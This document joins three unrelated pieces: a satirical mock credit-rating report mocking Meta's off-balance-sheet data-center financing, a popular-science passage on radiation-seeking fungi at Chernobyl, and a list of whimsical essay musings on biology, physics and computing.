then use that in­ter­est to sat­isfy the eq­uity re­quire­ment that would nor­mally re­quire… money.Noth­ing is cre­ated. Nothing is con­tributed. It’s a loop. Borrow money, earn in­ter­est, and use the in­ter­est to claim you pro­vided eq­uity. The kind of cir­cle only fi­nance can call a straight line.To­gether, these flows cover Beignet’s $23.03 bil­lion oblig­a­tion to JVCo, plus the usual con­stel­la­tion of cap­i­tal­ized in­ter­est, re­serve ac­counts, and trans­ac­tion ex­penses. In any other con­text this would raise ques­tions. For us, it raises the credit rat­ing.Meta, through Pelican Leap LLC (Tenant), has en­tered into eleven triple-net leases—one for each build­ing—with an ini­tial four-year term start­ing in 2029 and four re­newal op­tions that could ex­tend the arrange­ment to twenty years. The leases rely on the as­sump­tion that Meta will con­tinue to need ex­po­nen­tially more com­pute power and that AI de­mand will not col­lapse, re­verse, plateau, or be­come struc­turally in­con­ve­nient.The notes is­sued by Beignet are se­cured by Beignet’s eq­uity in­ter­est in JVCo and rel­e­vant trans­ac­tion ac­counts. They are not se­cured by the un­der­ly­ing phys­i­cal as­sets, which re­main at the JVCo and Landlord level. This is de­scribed as stan­dard prac­tice, which is true in the same way that us­ing eleven en­ti­ties to rent build­ings to your­self has be­come stan­dard prac­tice.The re­sult­ing struc­ture al­lows Meta to sup­port the pro­ject eco­nom­i­cally while leav­ing the as­so­ci­ated debt some­where that is tech­ni­cally not on Meta’s bal­ance sheet. The dis­tinc­tion is thin, but ap­par­ently wide enough to mat­ter.The pre­lim­i­nary A+ rat­ing re­flects our view that this is func­tion­ally Meta bor­row­ing $27.30 bil­lion for a cam­pus no one else will touch, pack­aged in le­gal for­mal­ity pre­cise enough to sat­isfy the let­ter of con­sol­i­da­tion rules and ab­surd enough to in­sult the spirit.Credit risk aligns al­most one-for-one with Meta’s own pro­file be­cause:Meta is ob­lig­ated to fund con­struc­tion cost over­runs be­yond 105 per­cent of the fixed bud­get, ex­clud­ing force ma­jeure events, which rat­ing agen­cies his­tor­i­cally treat as the­o­ret­i­cal in­con­ve­niences rather than re­cur­ring fea­tures of the phys­i­cal world.Meta guar­an­tees all lease pay­ments and op­er­at­ing oblig­a­tions, both dur­ing the ini­tial four-year term and across any re­newal pe­ri­ods it al­ready in­tends to ex­er­cise, an arrange­ment whose pur­pose be­comes clearer when one re­mem­bers why the cam­pus is be­ing built at all.Meta pro­vides an RVG (residual value guar­an­tee) struc­tured to be suf­fi­cient, in most mod­eled cases, to en­sure bond­hold­ers are re­paid even if Meta recom­mits to the Metaverse or any fu­ture ini­tia­tive born from its on­go­ing fas­ci­na­tion with ex­pen­sive de­tours. We did not model what would hap­pen if data cen­ter de­mand col­lapses and Meta can­not se­cure a new ten­ant. This sce­nario was ex­cluded for method­olog­i­cal con­ve­nience.The min­i­mum rent sched­ule has been cal­i­brated to pro­duce a debt ser­vice cov­er­age ra­tio of ap­prox­i­mately 1.12 through 2049. We con­sider this a suf­fi­cient level of sta­bil­ity usu­ally found only in spread­sheets that freeze when real-world data is used.Taken to­gether, these fea­tures tie Beignet’s credit qual­ity to Meta so tightly that you’d have to not be pay­ing at­ten­tion to miss them. The struc­ture main­tains a pre­car­i­ous tech­ni­cal sep­a­ra­tion that, un­der cur­rent in­ter­pre­ta­tions of ac­count­ing guid­ance, al­lows Meta to keep roughly $27 bil­lion of as­sets and debt off its own bal­ance sheet while con­tin­u­ing to pro­vide every mean­ing­ful form of eco­nomic sup­port.This treat­ment is con­sid­ered ac­cept­able be­cause the peo­ple who de­cide what is ac­cept­able have ac­cepted it.JVCo qual­i­fies as a vari­able in­ter­est en­tity be­cause the eq­uity at risk is cer­e­mo­nial and the real eco­nomic ex­po­sure sits en­tirely with the party in­sist­ing it does not con­trol the ven­ture. This re­mains le­gal due to the en­dur­ing be­lief that bal­ance sheets are health­ier when the risky parts are hid­den.Un­der U.S. GAAP, con­sol­i­da­tion is re­quired if Meta is the pri­mary ben­e­fi­ciary, de­fined as the party that both:Di­rects the ac­tiv­i­ties that most sig­nif­i­cantly af­fect the en­ti­ty’s per­for­mance, and­Meta as­serts it is not the pri­mary ben­e­fi­ciary.To eval­u­ate that as­ser­tion, we note the fol­low­ing un­con­tested facts:Meta is re­spon­si­ble for de­sign­ing, over­see­ing, and op­er­at­ing a 2.064 GW AI cam­pus, an ac­tiv­ity that re­quires tech­ni­cal ca­pa­bil­i­ties Blue Owl does not pos­sess.Meta bears con­struc­tion cost over­runs be­yond 105 per­cent of the fixed bud­get, as well as spec­i­fied ca­su­alty re­pair oblig­a­tions of up to $3.125 bil­lion per event dur­ing con­struc­tion.Meta pro­vides the guar­an­tee for all rent and op­er­at­ing pay­ments un­der the leases, across the ini­tial term and any re­newals.Meta pro­vides the resid­ual value guar­an­tee, en­sur­ing bond­hold­ers are re­paid if leases are not re­newed or are ter­mi­nated, ei­ther through a sale or by pay­ing the guar­an­teed min­i­mum val­ues di­rectly.Meta con­tributes fund­ing, di­rects op­er­a­tions, bears con­struc­tion risk, guar­an­tees pay­ments, guar­an­tees as­set val­ues, de­ter­mines uti­liza­tion, con­trols re­newal be­hav­ior, and can trig­ger the sale of the fa­cil­ity.Based on this, or de­spite this, Meta con­cludes it does not con­trol JVCo.Our in­ter­pre­ta­tion is fully com­pli­ant with U.S. GAAP, which pri­or­i­tizes the geom­e­try of the le­gal struc­ture over the in­con­ve­nience of eco­nomic sub­stance and rec­og­nizes con­trol only if the con­trol­ling party agrees to be rec­og­nized as con­trol­ling.Meta has not agreed, and the frame­work, in­clud­ing this agency, re­spects that choice.For rat­ing pur­poses, we there­fore ac­cept Meta’s non-con­sol­i­da­tion as an ac­count­ing out­come while treat­ing Meta, in all prac­ti­cal re­spects, as fully re­spon­si­ble for the per­for­mance of an en­tity it does not of­fi­cially con­trol.The lease struc­ture is de­signed to look like a nor­mal com­mer­cial arrange­ment while func­tion­ing as a long-term com­mit­ment Meta in­sists, for ac­count­ing rea­sons, it can­not pos­si­bly pre­dict.Ten­ant will pay fixed rent for the first 19 months of op­er­a­tions, based on a 50 per­cent as­sumed uti­liza­tion rate, af­ter which rent scales with ac­tual power con­sump­tion. The leases are triple-net. Meta is re­spon­si­ble for every­thing: op­er­at­ing costs, main­te­nance, taxes, in­sur­ance, util­i­ties. If a pipe breaks, Meta fixes the pipe. If a hur­ri­cane re­lo­cates a roof, Meta pays to sta­ple the roof back on.In prac­ti­cal terms, the only sce­nario in which Beignet bears op­er­at­ing ex­po­sure is a sce­nario in which Meta stops pay­ing its own bills, at which point the lease struc­ture be­comes ir­rel­e­vant be­cause the same lawyers that struc­tured this deal will have al­ready qui­etly ex­tri­cated Meta from li­a­bil­ity.A min­i­mum rent floor en­gi­neered to pro­duce a DSCR of 1.12 in a spread­sheet where 1.12 was likely hard-coded and in­de­pen­dent of math.A four-year ini­tial term with four four-year re­newal op­tions, the­o­ret­i­cally cre­at­ing a 20-year run­way Meta pre­tends not to see.Meta guar­an­tees all ten­ant pay­ment oblig­a­tions across the en­tire po­ten­tial lease life, in­clud­ing re­newals it strate­gi­cally re­fuses to ac­knowl­edge as in­evitable.No per­for­mance-based KPIs. Under this struc­ture, the build­ings could un­der­per­form, over­per­form, or catch fire. Meta still pays rent.The RVG re­quires Meta to en­sure that, at every po­ten­tial lease-ter­mi­na­tion date, the as­set is worth at least the guar­an­teed min­i­mum value. If mar­kets dis­agree, Meta pays the dif­fer­ence. Because Meta is rated AA-/Stable, we are in­structed to as­sume that it will do so with­out hes­i­ta­tion, in­clud­ing in sce­nar­ios where de­mand soft­ens or sec­ondary mar­kets dis­cover that a hy­per­scale cam­pus in Richland Parish is not the world’s most liq­uid as­set class.The in­ter­play be­tween the lease term and the RVG cre­ates a cir­cu­lar logic we find struc­turally ex­quis­ite.From a credit per­spec­tive, this cir­cu­lar­ity is con­sid­ered sup­port­ive, be­cause the same logic used to avoid con­sol­i­dat­ing the debt also en­sures bond­hold­ers are paid. The cir­cu­lar­ity is not treated as a fea­ture or a flaw. It is treated as ac­count­ing.Be­cause Meta is AA-/Stable, we as­sume it will pay what­ever num­ber the Excel model finds through Goal Seek, even in sce­nar­ios in­volv­ing tech­no­log­i­cal ob­so­les­cence or an in­va­sion of rac­coons.The ac­count­ing hinges on a para­dox en­gi­neered with dull tweez­ers:Un­der lease ac­count­ing, Meta must record fu­ture lease oblig­a­tions only if re­newals are rea­son­ably cer­tain.Un­der RVG ac­count­ing, Meta must record a guar­an­tee li­a­bil­ity only if pay­ment is prob­a­ble.To keep $27 bil­lion off its bal­ance sheet, Meta must there­fore as­sert:Re­newals are not rea­son­ably cer­tain, de­spite de­sign­ing, fund­ing, build­ing, and ex­clu­sively us­ing a 2.064 GW AI cam­pus for which the re­al­is­tic ten­ant list be­gins and ends with Meta.The RVG will prob­a­bly never be trig­gered, de­spite the fact that not re­new­ing would trig­ger it im­me­di­ately.This re­quires a nar­row cor­ri­dor of as­sump­tions in which Meta si­mul­ta­ne­ously plans to use the fa­cil­ity for two decades and in­sists that no one can pre­dict four years of cor­po­rate in­ten­tion.From a credit stand­point, we are sup­port­ive. The as­sump­tions that ren­der the debt in­vis­i­ble are pre­cisely what make it se­cure. A har­mony best de­scribed as col­lat­er­al­ized cog­ni­tive dis­so­nance.Meta link­age. The eco­nom­ics are wed­ded to Meta’s credit pro­file, which we are re­quired to de­scribe as AA-/Stable rather than “the only rea­son this en­tire struc­ture does­n’t fold from a stiff breeze.” Meta guar­an­tees the rent, the RVG, and the con­tin­ued rel­e­vance of the fa­cil­ity. The rest is dé­cor au­di­tors would deem “tasteful.”Minimum rent floor. The lease sched­ule pro­duces a per­fectly flat DSCR of 1.12 through 2049. Projects of this size do not pro­duce flat any­thing, but the model in­sists oth­er­wise, so we pre­tend we be­lieve it. Being stick­lers for tra­di­tion, and hav­ing learned noth­ing from the fi­nan­cial cri­sis of 2008, we treat the spread­sheet as the fi­nal ar­biter of truth, even when the in­puts de­scribe a world no one lives in.Con­struc­tion risk trans­fer. Meta ab­sorbs cost over­runs be­yond 105 per­cent of bud­get and han­dles ca­su­alty re­pairs dur­ing con­struc­tion. Our method­ol­ogy in­ter­prets “contractually trans­ferred” as “ceased to ex­ist,” so we de­cline to model the risk of over­runs on a $28 bil­lion cam­pus built in a hur­ri­cane cor­ri­dor. This is con­sid­ered best prac­tice.RVG back­stop. The resid­ual value guar­an­tee elim­i­nates tail risk in much the same way a par­ent cosign­ing for their teenager’s car loan elim­i­nates tail risk: by en­sur­ing that the per­son with all the money pays for every­thing. If the mar­ket value col­lapses, Meta pays the dif­fer­ence. If the fa­cil­ity can’t be sold, Meta pays the whole thing. If the en­tire cam­pus be­comes a rac­coon sanc­tu­ary, Meta still pays. We clas­sify this as credit pro­tec­tion, a nu­anced des­ig­na­tion that al­lows us to rec­og­nize the se­cu­rity of the arrange­ment with­out rec­og­niz­ing the debt.Ab­sence of per­for­mance KPIs. There are no op­er­a­tional KPIs that al­low rent abate­ment. This is help­ful be­cause KPIs cre­ate volatil­ity, and volatil­ity re­quires thought, a vari­able we ex­plic­itly ex­clude from our method­ol­ogy. By re­mov­ing KPIs en­tirely, the struc­ture en­sures a level of cash-flow sta­bil­ity that ex­ists only in trans­ac­tions where the ten­ant is also the eco­nomic owner pre­tend­ing to be a squat­ter.Key Risks We Have Chosen To Be Comfortable WithThe rat­ing also re­flects sev­eral risks that are ac­knowl­edged, in­tel­lec­tu­ally trou­bling, and ul­ti­mately tol­er­ated be­cause Meta is large enough that every­one agrees to stop ask­ing ques­tions.Off-bal­ance-sheet de­pen­dence. Meta treats JVCo as if it be­longs to some­one else, which is a gen­er­ous in­ter­pre­ta­tion of own­er­ship. If con­sol­i­da­tion rules ever evolve to re­flect eco­nomic sub­stance, Meta could be re­quired to add $27 bil­lion of as­sets and match­ing debt back onto its own bal­ance sheet. Our method­ol­ogy treats this as a the­o­ret­i­cal in­con­ve­nience rather than a credit event, be­cause call­ing it what it re­ally is would cre­ate a con­flict with the very com­pa­nies we rate.Con­cen­tra­tion risk. The en­tire pro­ject ex­ists for one ten­ant with one busi­ness model in one in­dus­try un­der­go­ing tech­no­log­i­cal whiplash. The fa­cil­ity is en­gi­neered so specif­i­cally for Meta’s AI am­bi­tions that the only plau­si­ble al­ter­na­tive ten­ant is an­other ver­sion of Meta from a par­al­lel time­line. We strongly dis­agree with the many-worlds in­ter­pre­ta­tion of quan­tum me­chan­ics. We set this con­cern aside be­cause at this stage in the trans­ac­tion, the A+ rat­ing is a struc­tural load-bear­ing wall, and we are not paid to do de­mo­li­tion.Resid­ual value un­cer­tainty. The RVG de­pends on mod­eled guar­an­teed min­i­mum val­ues that as­sume buy­ers will one day de­sire a vast hy­per­scale com­plex in Richland Parish un­der stress sce­nar­ios. If hy­per­scale sup­ply bal­loons or the re­sale mar­ket for 2-gigawatt data cen­ters be­comes as illiq­uid as com­mon sense, Meta will owe more money. This in­creases Meta’s di­rect oblig­a­tions, which should con­cern us, but does not, be­cause Meta is rated AA-/Stable and there­fore pre­sumed to with­stand any sce­nario we have cho­sen not to model.Ca­su­alty and force ma­jeure. In ex­treme sce­nar­ios, mul­ti­ple build­ings could be de­stroyed by a hur­ri­cane, which we view as un­likely given that they al­most never im­pact Louisiana. The logic re­sem­bles a Rube Goldberg ma­chine built out of in­dem­ni­ties. We clas­sify this as a strength.JV struc­tural sub­or­di­na­tion. Cash flows must nav­i­gate wa­ter­falls, covenants, carve-outs, and the pos­si­bil­ity of up to $75 mil­lion of JV-level debt. These fea­tures in­tro­duce struc­tural com­plex­ity, which we flag, then promptly ig­nore, be­cause ac­knowl­edg­ing would force us to ex­plain who ben­e­fits from the con­vo­lu­tion.De­spite these risks, we main­tain an A+ rat­ing be­cause Meta’s credit qual­ity is strong, the struc­ture is de­signed to hide risk rather than trans­fer it, and our role in this ecosys­tem is to ob­serve these con­tra­dic­tions and pro­ceed as though they were fea­tures rather than warn­ings.The out­look is Superficially Stable. That means we ex­pect the struc­ture to hold to­gether as long as Meta keeps pay­ing for every­thing and the ac­count­ing rules re­main gen­er­ously un­in­ter­ested in eco­nomic re­al­ity.We as­sume, with the con­fi­dence of peo­ple who have clearly not been pun­ished enough:Meta will pre­serve an AA-/Stable pro­file be­cause any other out­come would force every­one in­volved to ad­mit what this ac­tu­ally is.Con­struc­tion will stay “broadly on sched­ule,” a phrase we use to pre-for­give what­ever hap­pens as long as Meta cov­ers the over­runs, which it must.Lease pay­ments and the min­i­mum rent sched­ule will con­tinue pro­duc­ing a DSCR that hov­ers around 1.12 in mod­els de­signed to en­sure that re­sult, and not ma­te­ri­ally be­low 1.10 un­less some­thing un-mod­eled hap­pens, which we clas­sify as “outside scope.”The RVG will re­main en­force­able, which mat­ters more than the re­sale value of a hy­per­scale fa­cil­ity in a world where hy­per­scale fa­cil­i­ties may or may not be worth any­thing.Changes in VIE or lease-ac­count­ing guid­ance will af­fect where Meta stores the debt, not whether Meta pays it.We could lower the rat­ing if Meta were down­graded, if DSCR sagged be­low the range we pre­tend is ac­cept­able, if Meta weak­ened its guar­an­tees, or if events un­fold in ways our as­sump­tions did not ac­count for, as events tend to do. The last cat­e­gory in­cludes any­thing that would force us to re­visit the as­sump­tions we con­fi­dently made with­out test­ing.We view an up­grade as un­likely. The struc­ture al­ready per­forms the sin­gle mir­a­cle it was de­signed for: keep­ing $27.3 bil­lion off Meta’s bal­ance sheet in a man­ner we are pro­fes­sion­ally ob­lig­ated to sup­port.CON­FI­DEN­TIAL­ITY AND USE: This re­port is in­tended solely for in­sti­tu­tional in­vestors, en­ti­ties re­quired by com­pli­ance to re­view doc­u­ments they will not read, and any reg­u­la­tory body still pre­tend­ing to mon­i­tor off-bal­ance-sheet arrange­ments. FSG LLC makes no rep­re­sen­ta­tion, war­ranty, or faint ges­ture to­ward co­her­ence re­gard­ing the ac­cu­racy, com­plete­ness, or le­git­i­macy of any­thing con­tained herein. By read­ing this doc­u­ment, you ir­rev­o­ca­bly ac­knowl­edge that we did not per­form due dili­gence in any con­ven­tional, philo­soph­i­cal, or legally en­force­able sense. Our re­view con­sisted of reread­ing Meta’s press re­lease un­til rep­e­ti­tion pro­duced ac­cep­tance, aided by a Magic 8-Ball we shook un­til it agreed.LIM­I­TA­TION OF RELIANCE: Any re­sem­blance to ob­jec­tive analy­sis is co­in­ci­den­tal and should not be re­lied upon by any­one with fidu­ciary oblig­a­tions, eth­i­cal stan­dards, a work­ing mem­ory, or the abil­ity to per­form ba­sic sub­trac­tion. Forward-looking state­ments are based on as­sump­tions that will not sur­vive con­tact with re­al­ity, stress test­ing, most Tuesdays, or a mod­est change in in­ter­est rates. FSG LLC is not li­able for losses aris­ing from re­liance on this re­port, mis­un­der­stand­ing this re­port, fully un­der­stand­ing this re­port, or the sink­ing recog­ni­tion that you should have known bet­ter. Past per­for­mance is not in­dica­tive of fu­ture re­sults, ex­cept in the spe­cific case of rat­ing agen­cies re­peat­ing the same mis­takes at larger scales with in­creas­ing con­fi­dence.RAT­ING METHODOLOGY: The rat­ing as­signed herein may be re­vised, with­drawn, or de­nied ever ex­ist­ing if Meta con­sol­i­dates the debt, Louisiana ceases to ex­ist for tax pur­poses, or the data cen­ter be­comes self-aware and moves to Montana to es­cape the heat. FSG LLC cal­cu­lated the A+ rat­ing us­ing a pro­pri­etary model con­sist­ing of dis­counted cash flows, in­ter­pre­tive dance, and what­ever num­ber Meta’s CFO sounded com­fort­able with on a dili­gence call we did not in fact at­tend. Readers who dis­cover ma­te­r­ial er­rors in this re­port are con­trac­tu­ally ob­lig­ated to keep them to them­selves and ac­cept that be­ing tech­ni­cally cor­rect is the least valu­able form of cor­rect.GEN­ERAL PROVISIONS: By con­tin­u­ing to read, you con­sent to the propo­si­tion that what Meta does not con­sol­i­date does not ex­ist, waive your right to say “I told you so” when this un­rav­els, and ac­cept that the term “investment grade” is now a dis­po­si­tion rather than a met­ric. FSG LLC re­serves the right to amend, re­tract, deny, or dis­own this re­port at any time, par­tic­u­larly if Congress shows in­ter­est or some­one notes that $27 bil­lion off-bal­ance-sheet is on a bal­ance sheet some­where. If you print this doc­u­ment, you may be re­quired un­der ap­plic­a­ble se­cu­ri­ties law to re­cy­cle it, shred it, or burn it be­fore sun­rise, whichever comes first. For ques­tions, com­plaints, or sneak­ing sus­pi­cions, please do not con­tact us. We are un­avail­able in­def­i­nitely and have dis­abled our voice­mail.

The mould — formed from a num­ber of dif­fer­ent fungi — seemed to be do­ing some­thing re­mark­able. It had­n’t just moved in be­cause work­ers at the plant had left. Instead, Zhdanova had found in pre­vi­ous sur­veys of soil around Chernobyl that the fungi were ac­tu­ally grow­ing to­wards the ra­dioac­tive par­ti­cles that lit­tered the area. Now, she found that they had reached into the orig­i­nal source of the ra­di­a­tion, the rooms within the ex­ploded re­ac­tor build­ing.

With each sur­vey tak­ing her close to harm­ful ra­di­a­tion, Zhdanova’s work has also over­turned our ideas about how ra­di­a­tion im­pacts life on Earth. Now her dis­cov­ery of­fers hope of clean­ing up ra­dioac­tive sites and even pro­vide ways of pro­tect­ing as­tro­nauts from harm­ful ra­di­a­tion as they travel into space.

Eleven years be­fore Zhdanova’s visit, a rou­tine safety test of re­ac­tor four at the Chernobyl Nuclear Power Plant had quickly turned into the world’s worst nu­clear ac­ci­dent. A se­ries of er­rors both in the de­sign of the re­ac­tor and its op­er­a­tion led to a huge ex­plo­sion in the early hours of 26 April 1986. The re­sult was a sin­gle, mas­sive re­lease of ra­dionu­clides. Radioactive io­dine was a lead­ing cause of death in the first days and weeks, and, later, of can­cer.

In an at­tempt to re­duce the risk of ra­di­a­tion poi­son­ing and long-term health com­pli­ca­tions, a 30km (19 mile) ex­clu­sion zone — also known as the “zone of alien­ation” — was es­tab­lished to keep peo­ple at a dis­tance from the worst of the ra­dioac­tive re­mains of re­ac­tor four.

But while hu­mans were kept away, Zhdanova’s black mould had slowly colonised the area.

That if you’re a life form and you cook up a baby and copy your genes to them, you’ll find that the genes have been de­graded due to ox­ida­tive stress et al., which is­n’t cause for cel­e­bra­tion, but if you find some other hope­fully-hot per­son and ran­domly swap in half of their genes, your baby will still be some­what less fit com­pared to you and your hope­fully-hot friend on av­er­age, but now there is vari­ance, so if you cook up sev­eral ba­bies, one of them might be as fit or even fit­ter than you, and that one will likely have more ba­bies than your other ba­bies have, and thus com­plex life can per­sist in a uni­verse with in­creas­ing en­tropy.

That if we wanted to, we surely could fig­ure out which of the 300-ish strains of rhi­novirus are cir­cu­lat­ing in a given area at a given time and rapidly vac­ci­nate peo­ple to stop it and thereby fi­nally “cure” the com­mon cold, and though this is too an­noy­ing to pur­sue right now, it seems like it’s just a mat­ter of time.

That if you look back at his­tory, you see that plagues went from Europe to the Americas but not the other way, which sug­gests that ur­ban­iza­tion and travel are great al­lies for in­fec­tious dis­ease, and these both con­tinue to­day but are held in check by san­i­ta­tion and vac­cines even while we have lots of tricks like UVC light and high-fre­quency sound and air fil­tra­tion and waste mon­i­tor­ing and pay­ing peo­ple to stay home that we’ve barely even put in play.

That while en­gi­neered in­fec­tious dis­eases loom ever-larger as a po­ten­tial very big prob­lem, we also have lots of cra­zier tricks we could pull out like panop­ti­con vi­ral screen­ing or toi­let mon­i­tors or daily in­di­vid­u­al­ized saliva sam­pling or en­gi­neered mi­crobe-re­sis­tant sur­faces or even di­vid­ing so­ci­ety into cells with ro­tat­ing in­ter­locks or hav­ing peo­ple walk around in lit­tle per­sonal space­suits, and while ad­mit­tedly most of this does­n’t sound awe­some, I see no rea­son this should­n’t be a bat­tle that we would win.

That ra­dioac­tive atoms ei­ther re­lease a ton of en­ergy but also quickly stop ex­ist­ing—a gram of Rubidium-90 scat­tered around your kitchen emits as much en­ergy as ~200,000 in­can­des­cent light­bulbs but af­ter an hour only 0.000000113g is left—or don’t put out very much en­ergy but keep ex­ist­ing for a long time—a gram of Carbon-14 only puts out the equiv­a­lent of 0.0000212 light bulbs but if you start with a gram, you’ll still have 0.999879g af­ter a year—so it is­n’t ac­tu­ally that easy to per­ma­nently poi­son the en­vi­ron­ment with ra­di­a­tion al­though Cobalt-60 with its medium en­ergy out­put and medium half-life is un­for­tu­nate, med­ical ap­pli­ca­tions notwith­stand­ing I still wish Cobalt-60 did­n’t ex­ist, screw you Cobalt-60.

That while cur­ing all can­cer would only in­crease life ex­pectancy by ~3 years and cur­ing all heart dis­ease would only in­crease life ex­pectancy by ~3 years, and pre­vent­ing all ac­ci­dents would only in­crease life ex­pectancy by ~1.5 years, if we did all of these at the same time and then a lot of other stuff too, even­tu­ally the ef­fects would go non­lin­ear, so try­ing to cure can­cer is­n’t ac­tu­ally a waste of time, thank­fully.

That sleep, that prob­a­bly evo­lu­tion first made a low-en­ergy mode so we don’t starve so fast and then lay­ered on some main­te­nance processes, but the ef­fect is that we live in a cy­cle and when things aren’t go­ing your way it’s com­fort­ing that re­al­ity does­n’t stretch out be­fore you in­def­i­nitely but in­stead you can look for­ward to a re­set and a pause that’s some­how nei­ther ex­pe­ri­enced nor skipped.

That every ex­pres­sion graph built from dif­fer­en­tiable el­e­men­tary func­tions and pro­duc­ing a scalar out­put has a gra­di­ent that can it­self be writ­ten as an ex­pres­sion graph, and fur­ther­more that the lat­ter ex­pres­sion graph is al­ways the same size as the first one and is easy to find, and thus that it’s pos­si­ble to fit very large ex­pres­sion graphs to data.

That if you look at some­thing and move your head around, you ob­serve the en­tire light field, which is a five-di­men­sional func­tion of three spa­tial co­or­di­nates and two an­gles, and yet if you do some­thing fancy with lasers, some­how that en­tire light field can be stored on a sin­gle piece of nor­mal two-di­men­sional film and then re­played later.

That, as far as I can tell, the rea­son five-di­men­sional light fields can be stored on two-di­men­sional film sim­ply can­not be ex­plained with­out quite a lot of wave me­chan­ics, a vivid ex­am­ple of the strange­ness of this place and proof that all those physi­cists with their dif­frac­tions and phase con­ju­ga­tions re­ally are up to some­thing.

That if you were in two di­men­sions and you tried to eat some­thing then maybe your body would split into two pieces since the whole path from mouth to anus would have to be dis­con­nected, so be thank­ful you’re in three di­men­sions, al­though maybe you could have some kind of jig­saw-shaped di­ges­tive tract so your two pieces would only jig­gle around or maybe you could use the same ori­fice for both pur­poses, re­mem­ber that if you ever find your­self in two di­men­sions, I guess.